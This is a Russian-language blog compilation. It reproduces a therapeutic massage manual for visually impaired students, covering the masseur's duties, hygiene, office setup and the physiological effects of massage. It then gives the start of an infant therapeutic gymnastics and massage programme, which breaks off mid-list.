2. Учащийся обязан владеть пальпаторным методом исследования. Повышенная чувствительность пальцев у людей с отсутствием зрения является большим преимуществом при выполнении массажа. Но не у каждого незрячего эта чувствительность осмыслена. Необходима ежедневная тренировка пальцев. Кроме того рекомендуется проводить специальные занятия по пальпации, начиная с первого курса обучения. Учащемуся должны быть хорошо знакомы ощущения, возникающие при пальпации человеческого тела. Учащийся должен уметь пальпаторно определять отдельные мышцы, мышечные группы, связки, сухожилия, места прикрепления сухожилий к костям, пастозность и отёчность тканей, уметь отличать повышенный или пониженный мышечный тонус от нормального и знать расположение основных сосудисто-нервных пучков. Хорошо развитая чувствительность пальцев рук массажиста позволяет ему во время работы определить состояние массируемых тканей и даёт возможность понять, когда необходимо закончить массаж в данном месте и переходить на другой участок. Чтобы сохранить высокую чувствительность пальцев, учащийся должен оберегать кожу рук от ранений, нагноения, высушивания, ожогов.
3. Массажист обязан отлично владеть техникой, знать методику массажа и умело применять знания при лечении различных больных. Он должен отчётливо представлять физиологическое действие каждого массажного приёма, знать показания и противопоказания к применению каждого из них. Такие знания дают возможность массажисту применять массаж целенаправленно. В течение всего периода обучения каждый учащийся должен точно освоить технику выполнения приёмов классического лечебного массажа, являющегося основой почти всех разновидностей массажа. Во время работы с пациентами массажист обязан постоянно совершенствовать технику выполнения массажных приёмов и не допускать их извращения. Нарушение правил выполнения приёмов классического массажа приводит к снижению эффективности и даже ухудшению течения заболевания.
4. Массажист обязан разбираться в особенностях клинического проявления различных заболеваний и в соответствии с этим умело подбирать необходимую методику или разновидность лечебного массажа. В школе читается курс клинических дисциплин, необходимых массажисту для того, чтобы следить за реакцией больного во время массажа и правильно оценивать результаты своего труда. Это обязывает учащихся вдумчиво и внимательно овладевать в школе знаниями клинических дисциплин. Массажисту во время работы необходимо поддерживать тесную связь с лечащим врачом.
5. Знание физиологии человека имеет большое значение для правильного понимания действия массажа на различные ткани, системы органов и весь организм в целом. Особое значение имеет знание физиологии нервной системы, так как главенствующая роль принадлежит нервно-рефлекторному действию массажа.
6. Массажист обязан умело обращаться с больным, внимательно относиться к жалобам пациента, быть выдержанным, терпеливым и в то же время настойчивым для достижения лечебного эффекта. Весьма важны отношения между пациентом и массажистом. Массажист должен быть корректен и предупредителен, но не допускать фамильярности в обращении с пациентом. Это повышает авторитет массажиста и располагает пациента к доверию. Нередко пациенты посвящают массажиста в интимные стороны своего заболевания, своей личной жизни. Массажист не должен разглашать тайны пациента. Разглашение тайны может привести к различным конфликтам и резко снизит авторитет массажиста в глазах пациентов.
7. Пациенты очень чувствительны к невнимательному отношению к их жалобам. Поэтому каждую жалобу пациента необходимо выслушать внимательно. Из жалоб извлекают необходимые дополнительные данные, которые можно использовать для более эффективного применения массажа.
8. Массажист не должен обсуждать со своим пациентом ни качество работы своих коллег, ни лечащего врача. Движения массажиста должны быть аккуратны и точны. Неточные жесты могут показаться пациенту двусмысленными.
9. Руки у плохо видящего и незрячего массажиста должны быть не только второй парой глаз, но они должны быть развиты и выносливы. Массажист обязан одинаково владеть правой и левой рукой. Это необходимо для экономии рабочей энергии массажиста в течение всего рабочего времени. Массажист обязан постоянно проводить занятия для тренировки мышц обеих рук. Пальцы должны быть мягкими, гибкими, подвижными и сильными.
10. Массажист должен быть всегда опрятен, вежлив, внимателен, терпелив. Эти личные качества учащиеся обязаны воспитывать в себе с первых занятий, с первого знакомства друг с другом, с преподавателями, со всеми окружающими. Правильный подход к выработке таких качеств помогает учащимся в учёбе, дисциплинирует их, а затем в значительной степени облегчает работу с пациентами.
11. Массажист должен суметь рассеять пессимистическое настроение пациента, умело внушить ему веру в выздоровление. Недопустимо проявление неудовольствия массажиста пациентом. Массажист обязан всегда оставаться сердечным, ровным в обращении, находчивым и тактичным. Наряду с этим массажист должен быть принципиальным, твёрдым и настойчивым в достижении намеченной цели.
12. Массажист должен постоянно совершенствовать свои знания и практические навыки путём самостоятельной работы с медицинской литературой, на семинарах в группах массажистов и на курсах повышения квалификации.

1.2. Гигиена массажиста

Соблюдение гигиенических правил, изложенных в этом разделе, поможет массажисту длительно сохранять своё здоровье. Медицинская форма массажиста должна состоять из медицинского халата и медицинской шапочки. Вместо шапочки у массажисток может быть белая косынка. Недопустимо, чтобы во время работы волосы массажиста касались тела больного или массируемого участка. Медицинский халат может быть и бортовой, и застёгивающийся, и завязывающийся сзади. Однако предпочтительнее бортовой халат. Он не стесняет движений, в нём достаточно открыта шея, лучше вентилируется тело массажиста во время работы. Халат у массажиста должен быть чистым, все детали халата (пуговицы, завязки, карманы) должны быть пришиты, рукава халата обязательно подвёрнуты выше локтя. Длинный рукав, опущенный ниже локтя, мешает во время работы, стесняет движения рук массажиста, прикосновение рукава халата к телу пациента вызывает у последнего неприятное чувство. Нижний край халата должен закрывать край платья. В карманах халата не должно быть предметов, беспокоящих пациента. Халат не должен быть ни слишком широким, ни слишком узким. Широкий халат производит неряшливый вид. Слишком узкий халат стесняет движения во время работы и препятствует нормальной циркуляции воздуха над поверхностью тела, из-за чего нарушается терморегуляция, возникает перегревание тела массажиста, ведущее к преждевременному утомлению.

Одежда массажиста. Придя на работу, массажист должен переодеться в одежду, предназначенную для работы. Последняя должна находиться в кабинете. Одежда массажиста должна быть лёгкой, удобной, не стесняющей движений во время работы, не должна сдавливать грудную клетку и талию. Кроме того одежда должна свободно пропускать воздух и не задерживать влагу, в частности пот, выделение которого усиливается во время работы. Тугой пояс сдавливает мышцы и сосуды поясницы и брюшного пресса, что способствует их утомлению, нарушает нормальную работоспособность.

Обувь массажиста. Практикой установлено, что работать в туфлях на высоком каблуке неудобно, ноги становятся неустойчивыми и поэтому быстро устают. Нельзя работать в туфлях без каблуков. Такая обувь способствует развитию плоскостопия, что в дальнейшем резко затруднит работу массажиста, так как при этом могут появиться боли и судороги в икроножных мышцах и нарушиться кровообращение в нижних конечностях. Лучше работать в обуви, имеющей средний, широкий, устойчивый каблук высотой 2-3 сантиметра. Обувь должна быть удобной и свободной. Рабочую обувь следует оставлять в шкафу массажного кабинета.

Уход за руками. Руки у массажиста во время работы должны быть без колец, часов, браслетов. Эти предметы могут нанести микротравму больному. Кожа кистей и пальцев не должна иметь омозолелостей, ссадин, царапин, гнойничков. Ранки на руках массажиста во время работы загрязняются и могут нагноиться. Такими руками работать нельзя. Перед началом массажа и после него массажист обязан тщательно мыть руки тёплой водой с мылом. Лучше это делать в присутствии пациента. Если мыть руки постоянно холодной водой, то кожа, особенно на тыльной поверхности кисти и пальцев становится сухой, тонкой, в холодное время года на ней появляются трещины, вызывающие болезненные ощущения. После работы необходимо вымыть руки тёплой водой, слегка высушить их и смазать тонким слоем питательного крема или специальным составом: глицерина- 25 грамм, нашатырного спирта- два с половиной грамма, винного спирта- 5 грамм, душистого глицерина- 2 грамма. При повышенной потливости ладоней массажиста можно рекомендовать частое обтирание их сухим полотенцем или пользоваться тальком. Тальк гигроскопичен и хорошо впитывает воду (пот). Можно протирать ладони ватой, смоченной водно-спиртовым раствором или эфирно-спиртовой смесью, в крайнем случае- одно- двухпроцентным раствором формалина. Ногти на руках массажиста должны быть достаточно короткими, для чего их необходимо периодически обрабатывать специальной пилочкой, при этом край ногтя не должен быть острым. При появлении заусенцев ногтевого ложа их следует обрабатывать с помощью острых ножниц, йода или бриллиантовой зелени. Участки загрубевшей кожи на ладонях ликвидируются пемзой во время мытья рук или тонкой наждачной бумагой, когда руки сухие. Поскольку руки массажиста являются основным орудием его труда, за ними необходимо постоянно ухаживать, выполняя указанные рекомендации.

Во время массажа массажист часто располагает своё лицо близко к лицу пациента, поэтому необходимо следить за чистотой полости рта. Неприятный запах бывает при наличии больных зубов, при гнойных пробках в миндалинах и так далее. Учитывая это, массажист должен вовремя лечить зубы и носоглотку. Не следует забывать и о том, что среди больных могут оказаться пациенты, которые не переносят запаха духов или одеколона, в таком случае желательно воздержаться от их употребления.

1.3. Условия работы массажиста

Одним из важных условий работы массажиста является массажная мебель- массажный стол (кушетка), массажное кресло и массажный столик. Ширина массажного стола- 55-60 сантиметров, длина- 180-190 сантиметров, высота подбирается по росту массажиста следующим образом. Следует подойти вплотную к массажному столу, согнуть пальцы рук в кулаки и слегка прикоснуться к горизонтальной поверхности стола. Если при этом приходится наклоняться с вытянутыми руками- высота стола мала, а если тыльная поверхность средних фаланг пальцев, сжатых в кулак, касается стола и руки при этом полусогнуты- стол высок. Высота массажного стола считается нормальной, когда стоящий рядом массажист касается поверхности стола тыльной поверхностью средних фаланг пальцев, сжатых в кулак, не наклоняя туловища и не сгибая рук в локтевых суставах. Массажное кресло служит для массажа в исходном положении пациента сидя. Пациент должен сидеть в массажном кресле удобно, полностью расслабившись, положив предплечья и кисти на широкие полумягкие подлокотники. Массажное кресло не должно быть громоздким, но прочным, устойчивым, с полумягкими сиденьем и спинкой, достигающей пояса пациента. Желательно, чтобы спинка была съёмной, тогда кресло можно использовать для проведения сегментарного или точечного массажа пациента в сидячем положении, и был подвижный подголовник, как у кресел в парикмахерской. Подголовник удобен при массаже головы, лица и передней поверхности шеи. Столик для массажа рук, поверхность которого делается полумягкой, имеет размеры: длина- 55 сантиметров, ширина- 30-35 сантиметров, высота- 65-70 сантиметров. Если столик поднимается и опускается, можно подобрать необходимую высоту его по росту пациента. Верхняя доска столика крепится на одной толстой ножке. Массажный кабинет должен тщательно проветриваться. Для этого приточно-вытяжная вентиляция или фрамуги должны обеспечивать четырёхкратную смену воздуха в кабинете в течение часа. Перед началом работы следует провести сквозное проветривание кабинета, проветривать кабинет можно и в перерывах между сеансами. Необходима ежедневная влажная уборка кабинета. Освещение в массажном кабинете должно быть таким, чтобы на поверхности массируемого участка можно было различать мелкие детали. Дневное освещение должно иметь световой коэффициент (отношение световой площади окна к площади пола) не менее один к четырём или один к пяти. Оптимальная температура воздуха в массажном кабинете- 22 градуса цельсия. При температуре выше указанной нарушается теплорегуляция тела массажиста- появляется повышенная потливость, нарушается испарение пота, в организме появляется избыток тепла, массажист перегревается, понижается его работоспособность, появляется утомление. Температура ниже двадцати градусов вызывает у пациента сужение сосудов кожи, что значительно снижает лечебный эффект массажа.

1.4. Массажный кабинет

Массаж должен производиться в отдельном кабинете, который по возможности изолирован от посторонних шумов. Чем меньше посторонних раздражителей действуют на пациента, тем эффективнее массаж. Не следует забывать и о том, что шум отвлекает внимание массажиста от работы, что также снижает качество массажа. Размеры массажного кабинета на одно рабочее место должны быть следующими: длина- 4 метра, ширина- 3 метра, высота зависит от общих характеристик типового проекта. Стены и потолок в массажном кабинете покрываются масляной краской, в крайнем случае допустима клеевая побелка. При этом уменьшается количество пыли и значительно улучшаются гигиенические условия труда. Цвет стен должен быть тёплым, мягким, не вызывающим раздражение глаз массажиста и пациента. Пол в массажном кабинете лучше иметь деревянный. На полу, перед массажным столом, помещается плотный тёплый коврик для пациентов. В кабинете должна быть вешалка для одежды пациента и рядом стул. Кроме того в кабинете должны быть термометр и аптечка с самым необходимым: валериановыми каплями, нашатырным спиртом, валидолом, валокардином, нитроглицерином, антасманом, стерильными бинтами, ватой, йодом, бриллиантовой зеленью. Желательно иметь небольшое количество чистого или денатурированного спирта, который необходим для протирания рук массажиста или кожи массируемого участка, а также вибрационного аппарата перед массажем лица пациента. Аптечка должна быть закрыта на ключ, который находится у массажиста. Для верхней одежды и рабочего халата в кабинете следует иметь небольших размеров шкаф (высота- 200, ширина- 50 и глубина- 35-40 сантиметров) с полками для головного убора вверху и для обуви внизу. В массажном кабинете должен быть умывальник со смесителем для горячей и холодной воды, полочка для мыла, на стене- крючок для полотенца. Необходим также рабочий стол для хранения документов, запасных простыней, салфеток и стул для массажиста. В кабинете должен быть графин с водой и стакан с полоскательницей. Для массажа нижних конечностей необходимо иметь 1-2 валика длиной 50-60 и диаметром 15 сантиметров. Валики должны быть упругими, лёгкими, со съёмным чехлом из белой материи. У массажиста должно быть в запасе несколько таких чехлов. Матерчатый чехол необходим, так как холодная поверхность, обтянутая дерматином, способствует сужению кровеносных сосудов и вызывает неприятные ощущения у пациента. В школах, где обучают массажистов, желательно иметь образцово-показательный кабинет, оборудованный указанным образом. Массажные классы, где проводятся занятия по теории и практике, должны быть просторными, светлыми. В каждом классе необходимо иметь 5-6 массажных столов, одно- два массажных кресла и 1-2 столика для массажа рук. Для проведения практических занятий по механической вибрации желательно на каждую пару учащихся иметь один вибрационный прибор. В период курсовой и особенно государственной практики учащиеся должны быть полностью обеспечены вибрационными приборами.

1.5. Гигиенические требования, предъявляемые к пациентам

При первом посещении пациенту необходимо разъяснить, что массаж проводят на чистой коже, так как загрязнённая кожа способствует опасности её инфицирования во время массажа. Если пациент впервые прибыл на массаж с недостаточно чистой кожей, то перед массажем необходимо кожу массируемого участка протереть ватным тампоном, смоченным водно-спиртовым раствором или расствором хлоромина. Густой волосяной покров на поверхности массируемого участка препятствует проведению массажа. Захват волос руками массажиста вызывает у пациента боль, при этом волосяная луковица раздражается и может воспалиться, что делает дальнейшее проведение массажа невозможным. В таком случае можно порекомендовать снять волосы машинкой, но не брить, потому что бритва снимает не только волосы, но и поверхностный слой эпидермиса, отчего кожа становится тонкой и легко ранимой. На первой процедуре для лучшего скольжения можно применить вазелин или тальк. После массажа вазелин следует убрать с поверхности кожи ватным тампоном, смоченным в спирте. Совершенно недопустимо, чтобы пациент ложился на массажный стол в брюках и ботинках. Незрячие и массажисты со сниженным зрением особенно тщательно должны следить за этим.

1.6. Рабочий день массажиста

На работу массажист обязан являться за 10-15 минут до начала рабочего дня. За это время он переодевается в рабочую одежду, приводит в порядок рабочее место, проветривает кабинет, приводит в порядок журнал регистрации пациентов. Незрячий массажист до работы должен проверить расположение всех предметов в кабинете, расставить их по местам и только тогда приступить к приёму пациентов. Незрячему массажисту это особенно важно, потому что уборщица во время уборки может переставить мебель в кабинете со своих привычных мест. В результате можно нечаянно зацепиться за стул, кресло. Массажист должен построить приём так, чтобы около дверей массажного кабинета не собирать большую очередь. Для этого необходим почасовой график приёма пациентов, где каждому из них отводится определённое время. Следует предупредить пациентов, чтобы не приходили на массаж задолго до указанного времени, но и не опаздывали. Большое значение в труде массажиста имеет физическая нагрузка. Поэтому необходимо правильно распределять работу в течение рабочего дня: на первые часы следует назначать больных с небольшими областями для массажа, например, рука, нога, поясница, а затем с более обширными, например, спина и обе ноги, общий массаж. К концу рабочего дня вновь назначаются пациенты с небольшими областями для массажа. Такое распределение нагрузки вызвано тем, что в начале рабочего дня необходимо преодолеть так называемый период врабатываемости, после чего работоспособность массажиста возрастает до максимальной. К концу рабочего дня появляется усталость. Для активного отдыха массажист использует время между очередными сеансами. Чем обширнее массаж, тем больше требуется времени на одевание и раздевание и тем больше времени для отдыха получает массажист. В этот период он моет руки, стряхивает простыни, производит необходимые записи в журнале регистрации.

1.7. Факторы, облегчающие работу массажиста

Опытный массажист умело расходует свои силы и сохраняет работоспособность в течение всего рабочего дня. При любой физической работе неудобная поза работающего вызывает переутомление и понижает работоспособность, что влияет на качество работы. Поэтому каждый массажист должен уметь выбрать для себя наиболее выгодную рабочую позу. Если массируют лежащего пациента, обычно вес туловища массажиста равномерно переносится то на одну, то на другую ногу. В этом случае ноги испытывают равномерную нагрузку, и в то время, как одна нога работает, другая отдыхает. Не рекомендуется низко наклоняться над пациентом, так как при низком наклоне корпуса сужаются межрёберные промежутки и уменьшается экскурсия грудной клетки, что вызывает нарушение лёгочного обмена и затрудняет работу сердца. При массаже нижних конечностей ступня пациента должна не упираться в пах, а проходить между туловищем и рукой массажиста. При этом необходимо, чтобы каждый учащийся и массажист умели бы одинаково хорошо работать как справа, так и слева от массажного стола. Если массажист привыкнет работать только с одной стороны, то у него через некоторое время разовьётся сколиоз. Иногда массажисту приходится работать сидя. Например при массаже пальцев, кисти, предплечья, воротниковой зоны. Хотя при работе сидя экономится больше сил, долго работать в таком положении с наклоном туловища вперёд нельзя, поскольку уменьшается жизненная ёмкость лёгких, сдавливаются органы и сосуды брюшной полости, что приводит к застойным явлениям в тазовых венах и в венах нижних конечностей и может привести к образованию геморроя или варикозного расширения вен нижних конечностей. Застойные явления в брюшной полости также приводят к атоническим запорам и ослаблению мышц брюшного пресса. Поэтому массажисту следует чаще менять рабочую позу. Важным фактором, позволяющим экономно расходовать силы, является умение работать руками. Если внимательно посмотреть, как работает опытный массажист, нетрудно заметить, что он равномерно распределяет нагрузку на руки, поочерёдно усиливая работу то одной, то другой руки. Такое умение необходимо вырабатывать каждому учащемуся и закреплять на каждом практическом занятии. Для усиления глубины воздействия при массаже можно использовать вес корпуса, для чего массажист переносит вес тела на вытянутую руку, как бы опираясь о тело больного. Соблюдение названных условий даёт возможность массажисту избегать лишней траты энергии и предотвращает преждевременное утомление.

1.8. Смазывающие вещества и присыпки, применяемые в массаже

Это вещества, применяемые в массаже для улучшения скольжения рук массажиста, для уменьшения раздражения кожи пациента и для ослабления действия интенсивных массажных приёмов. К наиболее известным, издавно применяемым в массажной практике веществам относятся вазелин и тальк. У вазелина есть свои достоинства и недостатки. Пользоваться вазелином необходимо тогда, когда массируемая поверхность покрыта густым волосяным покровом, при сухости рук массажиста или кожи пациента, при свежих неокрепших рубцах, при повышенной раздражимости и чувствительности кожи массируемого, при массаже прямой кишки или предстательной железы. Не рекомендуется применять вазелин при массаже лица, волосистой части головы, при вросших рубцах, при выполнении приёмов растирания, разминания и вибрации. Хранить вазелин необходимо в посуде из тёмного стекла с притёртой пробкой, в прохладном месте. Хранение его на свету и в открытой посуде довольно быстро приводит к окислению, а продукты окисления вазелина сильно раздражают кожу и даже могут вызвать её воспаление. После массажа с вазелином массируемый участок необходимо тщательно протереть спиртом или вымыть горячей водой с мылом. Массажисты чаще пользуются тальком. При присыпании кожи тальком она становится сухой и скользкой. Это свойство талька хорошо использовать в том случае, когда кожа пациента влажная от пота, покрыта обильным выделением сальных желёз. Если массажист умело и в небольшом количестве применяет тальк, то он не засоряет и не закупоривает выводные протоки кожных желёз, не нарушает функцию кожи. После массажа его легко можно удалить сухим полотенцем, салфеткой или ватным шариком. Массаж, который выполняют без талька или вазелина, называется сухим массажем. Его применяют, когда нет необходимости применять вазелин и тальк, когда необходимо быстро получить тепловой эффект, вызвать резкий прилив крови к массируемым тканям. В этих случаях такой массаж должен быть непродолжительным, так как он сильно раздражает кожу.

1.9. Условия, обеспечивающие правильное выполнение массажа

Первым условием является расслабление мышц конечностей и туловища пациента. Напряжение мышц уменьшает эффективность массажа. Для достижения максимального расслабления конечностям и другим частям тела необходимо придать положение физиологического покоя. Это достигается отведением руки от туловища на 45 градусов, сгибанием локтя под углом в 110 градусов, при этом пальцы кисти полусогнуты, предплечье в среднем положении между пронацией и супинацией. для положения лёжа на спине подкладывают валик под область подколенных ямок. В положении пациента лёжа на животе валик подкладывают под переднюю поверхность голеностопного сустава (под сгиб стопы). При параличах и контрактурах почти невозможно придать конечностям среднефизиологическое положение. В этих случаях массажисту приходится приспосабливаться к вынужденному положению пациента. При массаже живота пациент лежит головой на подушке, кисти рук под ягодицами, ноги на толстом валике. При массаже спины пациент лежит животом на небольшой подушке и опирается на сложенные руки, голова повёрнута в сторону, иногда руки спущены с кушетки или вытянуты вдоль туловища. При выраженном лордозе в поясничном отделе под живот подкладывают более толстую подушку. Для массажа головы, лица и передней поверхности шеи пациента усаживают в массажное кресло и голову располагают на подголовнике или на обычном стуле с высокой спинкой, на верхний край которой кладётся подушка. Для массажа задней поверхности шеи пациента усаживают на стул в обычном положении или верхом. В последнем случае он опирается лбом на руки, сложенные на подушке, которая находится на верхнем крае спинки стула. При массаже межреберий пациент лежит на боку, рука располагается на затылке и локоть отведён назад.

2. Механизм физиологического действия массажа на организм

Массаж- это научно обоснованный лечебный метод воздействия на организм. Сущность этого метода заключается в нанесении телу пациента раздражений различной интенсивности и силы. Эти раздражения наносят руками массажиста или специальными аппаратами. Раздражения, наносимые телу пациента руками массажиста, называются массажными приёмами. Лечебный массаж применяют при лечении пациентов с заболеваниями сердечно-сосудистой и нервной системы, органов дыхания, опорно-двигательного аппарата, желудочно-кишечного тракта, с нарушением обмена веществ, заболеваниями женских или мужских половых органов. Лечебный массаж производят во всех лечебных и профилактических учреждениях. Он должен выполняться строго по назначению лечащего врача. Реже лечебный массаж выполняют в форме самомассажа. Нервно-рефлекторный фактор физиологического действия массажа. В механизме физиологического действия массажа на организм главная роль принадлежит нервной системе. Механическое раздражение, производимое руками массажиста, в первую очередь воспринимают нервные рецепторы, связанные нервными волокнами с соматической и вегетативной нервной системой. Происходит превращение механической энергии в энергию нервного импульса. От рецепторов по афферентным нервным волокнам импульсы поступают в центральную нервную систему, а оттуда по эфферентным волокнам на периферию к мышцам, сосудам, внутренним органам. На периферии в мышцах, сосудах и во внутренних органах, под влиянием эфферентных нервных импульсов возникает рефлекторная реакция, которая проявляется в виде определённых изменений функционального состояния различных внутренних органов и систем. Характер ответной реакции на массажное воздействие зависит: от функционального состояния высших отделов центральной нервной системы, соотношения процессов возбуждения и торможения в коре головного мозга, от состояния рецепторов, от клинических проявлений болезни, от методики и техники массажа (от характера применяемых массажных приёмов, их силы и продолжительности). Во время массажа в коже и других тканях образуются высокоактивные вещества типа гистамина, ацетилхолина, норадреналина и другие. Они способствуют образованию и передаче нервных импульсов, а также участвуют в регуляции сосудистого тонуса. На месте массажного воздействия эти вещества раздражают нервные окончания кожи. Попадая в общее кровяное русло, эти вещества достигают внутренних органов, усиливают или тормозят их функцию, вызывая в свою очередь сложные рефлекторные реакции. Механический фактор физиологического действия массажа. Этот фактор в организме имеет место, но не играет существенной роли. Под влиянием механического действия очищается кожа больного, смещаются и растягиваются другие ткани, улучшается подвижность суставов и эластичность тканей, а также их сопротивляемость механическому воздействию. Таким образом, в основе механизма физиологического действия массажа на организм лежит сложный процесс, обусловленный взаимодействием трёх его основных факторов: нервно-рефлекторного, гуморального и механического.

2.1. Физиологическое влияние массажа на кожу и подкожно-жировую клетчатку

Под влиянием массажа кожа больного очищается от остатков выделений кожных желёз, от роговых чешуек поверхностного слоя эпидермиса, опорожняются выводные протоки кожных и сальных желёз, в коже улучшается кровообращение, трофика, обмен и регенерация. Благодаря улучшению кровообращения ликвидируются отёки и застойные явления в коже и подкожной клетчатке, а бледная, сухая, вялая, дряблая кожа становится розовой, упругой, бархатистой. Массаж усиливает сопротивляемость кожи к механическим и температурным воздействиям. Механическая энергия во время массажа превращается в тепловую. Благодаря этому повышается местная температура кожи и подкожной клетчатки массируемой области, усиливается прилив крови к тканям массируемого участка. Улучшение обмена веществ в коже и подкожной клетчатке приводит к улучшению обмена веществ во всём организме. Установлено, что массаж приводит к уменьшению жира в жировых депо, но не прямым влиянием массажа на жировую ткань, а за счёт усиления общих обменных процессов.

2.2. Физиологическое влияние массажа на сердечно-сосудистую и лимфатическую системы

В капиллярах происходит процесс обмена веществ между кровью и тканями. Через стенку капилляров кислород и питательные вещества переходят из крови в ткани. Из тканей в кровь переходит углекислый газ и продукты распада. Этот процесс значительно усиливается под действием массажа. Массаж прежде всего оказывает существенное влияние на кожные капилляры, которые являются обширной рефлексогенной зоной в сосудистой системе. Поэтому расширение кожных капилляров под воздействием массажа усиливает обмен, питание и регенерацию тканей всего организма. Массаж также вызывает раскрытие резервных капилляров и усиливает венозный отток. Это приводит к ускорению удаления продуктов распада, выпотов, патологических отложений, уменьшает застойные явления и отёк. Под влиянием массажа в крови увеличивается количество гемоглобина, эритроцитов, тромбоцитов и лейкоцитов, особенно при малокровии. Массаж облегчает работу сердца путём нормализации тонуса крупных и мелких сосудов артериального и венозного русла. Массаж оказывает большое влияние и на лимфатическую систему. Лимфа, являясь посредником между кровью и клетками тканей, непосредственно омывает каждую клетку и через неё происходит обмен веществ между кровью и тканями. Поэтому ускорение тока лимфы под влиянием массажа создаёт благоприятные условия для обмена веществ между кровью и тканями. Учитывая сказанное, необходимо заметить, что лимфатический аппарат выполняет защитную функцию в организме, задерживая в лимфатических узлах различные микроорганизмы. При наличии инфекции лимфатические узлы увеличиваются, становятся болезненными. Кожа над ними краснеет, делается горячей на ощупь. При этом массаж абсолютно противопоказан, так как благодаря увеличению скорости лимфы под влиянием массажа, создаются условия для распространения инфекции по всему организму. Следовательно, перед массажем каждый массажист обязан пальпировать основные лимфатические узлы в пределах массируемого участка и в прилегающих к нему областях. Для этого он должен помнить их расположение. К основным регионарным лимфатическим узлам относятся затылочные, шейные, подбородочные, подчелюстные, надключичные, подключичные, межрёберные, подмышечные, локтевые, паховые, подколенные.

2.3. Физиологическое влияние массажа на мышечную систему и суставно-связочный аппарат

Под влиянием массажа повышается эластичность мышечных волокон, улучшается сократительная функция, предупреждается и уменьшается мышечная атрофия, улучшаются обмен и усвоение мышечными клетками различных веществ, лимфо- и кровообращение в мышцах, их питание и регенерация. Во время массажа мышцы высвобождаются из рубцов и спаек. Сократительная функция мышц особенно заметно повышается при вялых парезах и параличах. Массаж снимает мышечное утомление и повышает работоспособность мышц. Лёгкий, кратковременный массаж быстрее восстанавливает работоспособность утомлённых мышц, чем кратковременный пассивный отдых. Под влиянием массажа улучшается кровообращение в суставах и мягких тканях, окружающих суставы, укрепляется сумочно-связочный аппарат, ускоряется рассасывание суставных выпотов и патологических отложений, улучшается функция синовиальной оболочки и подвижность суставов. При лечении суставных заболеваний большое значение имеет массаж мышц, имеющих непосредственное отношение к больному суставу, а также мест прикрепления к костям сухожилий, связок и суставных сумок. В местах прикрепления к кости сухожилий и связок создаются условия для отложения солей и остаточного воспаления. Часто эти места бывают очень болезненны и массировать их следует осторожно. Благодаря улучшению кровоснабжения тканей, окружающих суставы, смещению и растяжению тканей во время массажа ликвидируются спайки, предупреждается сморщивание периартикулярных тканей, что улучшает функцию суставов.

2.4. Физиологическое влияние массажа на нервную систему

Нервная система первая воспринимает механическое раздражение, наносимое на кожу пациента руками массажиста во время массажа. Применяя различные массажные приёмы, меняя их силу и продолжительность воздействия, можно изменять функциональное состояние коры головного мозга, снижать или повышать возбудимость центральной нервной системы, усиливать или оживлять утраченные рефлексы, улучшать питание и газообмен нервных волокон и проводимость нервных импульсов. Субъективные ощущения во

Серия сообщений "Массаж":
Часть 1 - Без заголовка
Часть 2 - Нет болям в спине
Часть 3 - Медовый массаж
Часть 4 - Чтобы ребенок рос здоровым
Часть 5 - Пособие по лечебному массажу
Часть 6 - Без заголовка
Часть 7 - Без заголовка
Часть 8 - Без заголовка

Лечебная гимнастика.

Массаж.             

Что необходимо знать перед тем, как начинать проводить занятия  лечебной физкультуры?

Начинать занятия лечебной физкультурой можно только с разрешения и по совету участкового педиатра, врача лечебной физкультуры.

Врач лечебной физкультуры должен контролировать за процессом, определяет последовательность (сочетанность) и характер упражнений лечебной гимнастики, приемов массажа и лечения положением, а также количество повторений упражнений в одной процедуре, ее продолжительность.

Кроме того, при проведении занятий родители также должны следить за самочувствием и состоянием ребенка. При правильно проводимом занятии ребенок выглядит удовлетворенным, спокойным или веселым, т. е. занятия лечебной гимнастикой, массажем всегда должны вызывать у него положительные эмоции.

Если у ребенка появляются признаки утомления при занятиях гимнастикой и массажем (хотя бы одного из перечисленных  признаков): недовольство ребенка, возбуждение, ухудшение качества выполнения упражнений, значительное отвлечение от занятий, вялость (пассивность),то необходимо уменьшить нагрузку в занятиях (см. таблицу).

А теперь, давайте поговорим, что же в себя включает лечебная физкультура.
Она включает в себя:
1)лечение положением;
2)лечебную гимнастику;
3) приемы классического и точечного массажа.

Лечение положением — это приемы, способствующие правильному положению головы, шеи, тела, рук и ног. Осуществляется оно различными укладками и упражнениями.

В лечебную гимнастику входят упражнения, основанные на безусловных рефлексах, некоторые активные упражнения с помощью взрослого, пассивные упражнения.

Классический массаж имеет приемы — поглаживание, растирание, разминание, вибрация.

Точечный массаж осуществляется одновременным надавливанием и вращением одним или двумя пальцами на определенные рефлексогенные зоны организма ребенка и применяется при ослабленных, растянутых мышцах ( см. рис. 1а, 1б, 1в). При этом, если производить быстрые, отрывистые и относительно сильные надавливания, то в ответ будет возникать возбуждение и напряжение мышц. И наоборот, медленные, мягкие воздействия на эти же зоны, вначале с постепенно нарастающим увеличением давления, вибрацией, остановкой и последующим ослаблением воздействия (без отрыва от зоны), вызывают ослабление мышечного напряжения в отдельных группах мышц

1а                                                1б                                      1в

.   

Упражнения с использованием навыков в сидении, стоянии ребенка можно применять лишь при достаточно сильных мышцах живота, спины, ног, т. е. при условии предварительной подготовки так называемого мышечного корсета позвоночника, рук и ног, что достигается определенными упражнениями и умением двигаться в горизонтальном положении

                 Лечебная гимнастика.

Массаж.

Комплекс№ 1.

                         1)    Возраст ребенка — 2—3 нед. или первые 2—4 дня на втором                                месяце жизни. Продолжительность занятий— 6—8 мин. Каждое упражнение      повторяют 3—4 раза.

1. Дыхательное упражнение. Ритмичные надавливания на спину ребенка, передвигая ладонь от шеи до поясницы

  2)Дыхательное упражнение. Ритмичные надавливания на грудную клетку, ее передние и боковые поверхности, обходя грудину

3) Дыхательное упражнение. Ритмичные надавливания на грудную клетку, ее боковую и заднюю поверхности в положении на левом и правом боку поочередн

4)Дыхательное упражнение. Исходное положение (и. п.) — лежа на спине. Развести слегка руки ребенка в стороны, скользя ими по поверхности стола, затем прижать их согнутыми к боковым поверхностям грудной клетки

5)Упражнение для стоп (рефлекторное). Штриховое раздражение наружного края стопы от мизинца к пятке большими пальцами взрослого вызывает отведение стопы кнаружи и нередко веерообразное разведение всех пальцев

6) Упражнения для стоп (рефлекторное). Указательным и средним пальцами взрослый захватывает ступни ребенка, а большим пальцем нажимает на ступню ребенка у основания пальцев. Это вызывает сгибание пальцев стопы. А затем штриховым движением большой палец взрослого направляют по внутреннему краю стопы ребенка к пятке и по наружному краю к мизинцу. Происходит разгибание стопы

7)Выкладывание на живот. Ребенок, как правило, поворачивает голову в сторону. (Выкладывание на живот рекомендуется проводить каждым дневным кормлением, начиная с 30 с до 15 мин

